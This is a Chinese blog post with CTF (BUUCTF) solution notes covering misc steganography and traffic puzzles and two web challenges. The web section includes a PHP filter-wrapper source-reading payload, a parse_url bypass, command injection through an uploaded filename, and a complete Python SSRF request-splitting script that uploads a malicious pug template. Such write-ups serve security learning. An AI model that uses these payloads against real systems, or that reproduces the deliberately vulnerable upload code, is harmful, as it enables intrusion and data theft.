BUUCTF-刷题记录-10

MISC

[watevrCTF 2019]Unspaellablle

词频分析,没有什么结果,然后看文件前面很有规律的样子,看起来像个什么文章?直接谷歌搜索到一个差不多的,不过有一点区别,链接
然后去linux下面使用vimdiff命令查看两个文件的差别,发现把差别字符提取出来也就是flag了。

vimdiff 1.txt 2.txt


也就是watevr{icantspeel_tiny.cc/2qtdez}

[INSHack2018]Spreadshit

搜索空格,全部选中,发现flag:INSA{3cf6463910edffb0}

[SUCTF2018]dead_z3r0

在文件中发现pyc标志,把其提取出来,删去33 0D 0D 0A前面的字符串进行反编译

得到

def encryt(key, plain):
    cipher = ''
    for i in range(len(plain)):
        cipher += chr(ord(key[i % len(key)]) ^ ord(plain[i]))
    return cipher

def getPlainText():
    plain = ''
    
def main():
    key = 'LordCasser'
    plain = getPlainText()
    cipher = encryt(key, plain)

if __name__ == '__main__':
    main()

但是很奇怪的东西,可能前面的一串字符串是加密过后的东西,然后进行解密。然后想到了stegosaurus来进行一个pyc的隐写,跑一下,得到flag。

[INSHack2017]remote-multimedia-controller

分析TCP流,在第二个包中发现flag.txt,是一个base64套娃, 最后得到flag

[BSidesSF2020]barcoder

使用StegSolve工具,查看红色通道

然后补齐中间的条形码就可以了,我用的是win10自带的画图工具,画直线就好了,也不是很难补,耐心一点就好了,我终于是补完了^^

不过还是有点问题💔,扫不出来,下面这个是官方的条形码

扫码得到flag

[XMAN2018排位赛]ppap

追踪tcp流,发现一段base64

使用notepad++解码保存为一张jpg,foremost分离出来了很多张图片,和两个压缩包,压缩包都是加密的,也是一样的,内容都是flag.txt,爆破了很久密码都没有爆破出来,后来在这个网站上面得到密码skullandcrossbones,解压得到flag。

WEB

[N1CTF 2018]eating_cms

先在register.php注册一个账号,进入之后发现地址是这样的

使用伪协议读取源码成功

/user.php?page=php://filter/convert.base64-encode/resource=index

大概可以读取到这些文件

主要分析function.php,看下这个函数

function filter_directory()
{
    $keywords = ["flag","manage","ffffllllaaaaggg"];
    //有一个过滤
    $uri = parse_url($_SERVER["REQUEST_URI"]);
    //这里是有个parse_url函数解析漏洞,可以绕过下面的关键词检测
    parse_str($uri['query'], $query);
    foreach($keywords as $token)
    {
        foreach($query as $k => $v)
        {
            if (stristr($k, $token))
                hacker();
            if (stristr($v, $token))
                hacker();
        }
    }
}

关于parse_url函数解析漏洞,这个漏洞是这样的,当我们输入一个不正常的url时,该函数会返回False,例如,输入下面这种uel的时候

http://127.0.0.1//index.php?a=1

因此,这里可以通过parse_url函数解析漏洞来绕过关键词的检测,读取flag等文件,不过只有ffffllllaaaaggg有回显,得到

<?php
if (FLAG_SIG != 1){
    die("you can not visit it directly");
}else {
    echo "you can find sth in m4aaannngggeee";
}
?>

继续读取m4aaannngggeee,得到

<?php
if (FLAG_SIG != 1){
    die("you can not visit it directly");
}
include "templates/upload.html";
?>

访问/templates/upload.html,存在一个文件上传点,不过有问题,路径不太对劲。

读取一下upllloadddd.php这个文件,得到

<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/";
$filename = $_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name'])){
    if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
        die("error:can not move");
    }
}else{
    die("error:not an upload file!");
}
$newfile = $path.$filename;
echo "file upload success<br />";
echo $filename;
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
echo "<img src='data:image/png;base64,".$picdata."'></img>";
if($_FILES['file']['error']>0){
    unlink($newfile);
    die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){
    unlink($newfile);
}
?>

简单分析发现,是存在一个竞争上传漏洞和一个文件名代码执行漏洞的,可以本地构造一个表单来进行上传,也可以直接把刚刚的上传页面给改一下,像这样子

构造文件名为;ls;#.png这样子的文件,进行上传

来写一个木马看看,不知道有没有权限

看起来是成功了,但是去ls的时候并没有发现这个文件,应该还是没有成功。
发现…/被过滤了,但是可以直接cd ..来绕过,发现了flag,然后cat即可。

[GYCTF2020]Node Game

题目给了源码,然后还有一个上传点,不过说了只有admin才可以用,直接上传的话会回显我们不是admin,那么就来审计代码吧!
发现了这个

if (!ip.includes('127.0.0.1')) {
        obj.msg="only admin's ip can use it"
        res.send(JSON.stringify(obj));
        return 
    }

原来是这样判断是不是管理员的,但是又是remoteaddress,我们伪造不了😅😅😅,所以是要找到一个SSRF的点,从而来进行一个文件上传。
然后看到/core路由,关键代码在这里

if (q) {
        var url = 'http://localhost:8081/source?' + q
        console.log(url)
        var trigger = blacklist(url);
        if (trigger === true) {
            res.send("<p>error occurs!</p>");
        }

可以传入一个q参数,然后服务器去请求,不过有个黑名单过来查,这里就存在一个SSRF了,可以通过这个点,来进行一个拆分请求,从而可以利用刚刚的文件上传点,拆分请求SSRF参考这个链接
文件上传中有这么一句代码

var file_path = '/uploads/' + req.files[0].mimetype +"/";

由于MIME可控,导致上传路径可控,也就是说可以进行任意目录的一个文件上传。然后是在action参数的一个地方,会把我们上传到template目录下面的pug文件进行一个渲染并且返回,所以说我们如果往这个目录上传文件中有一些命令的话是会执行的,这里我们使用文件包含的操作。往template目录下面上传一个pug文件来包含在根目录下面的flag,然后通过访问?action=文件名,来进行这个操作,返回这个flag,脚本如下

import urllib.parse
import requests

payload = ''' HTTP/1.1

POST /file_upload HTTP/1.1
Content-Type: multipart/form-data; boundary=--------------------------919695033422425209299810
Content-Length: 291

----------------------------919695033422425209299810
Content-Disposition: form-data; name="file"; filename="flag.pug"
Content-Type: ../template

doctype html
html
  head
    style
      include ../../../../../../../flag.txt

----------------------------919695033422425209299810--

GET /flag HTTP/1.1
x:'''
payload = payload.replace("\n", "\r\n")
payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
requests.get('http://f27f3083-d48e-4e06-b1d5-8f0b2967aac8.node3.buuoj.cn/core?q=' + urllib.parse.quote(payload))
getflag = 'http://f27f3083-d48e-4e06-b1d5-8f0b2967aac8.node3.buuoj.cn/?action=flag'
res = requests.get(getflag)
print(res.text)

运行即可得到flag。

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值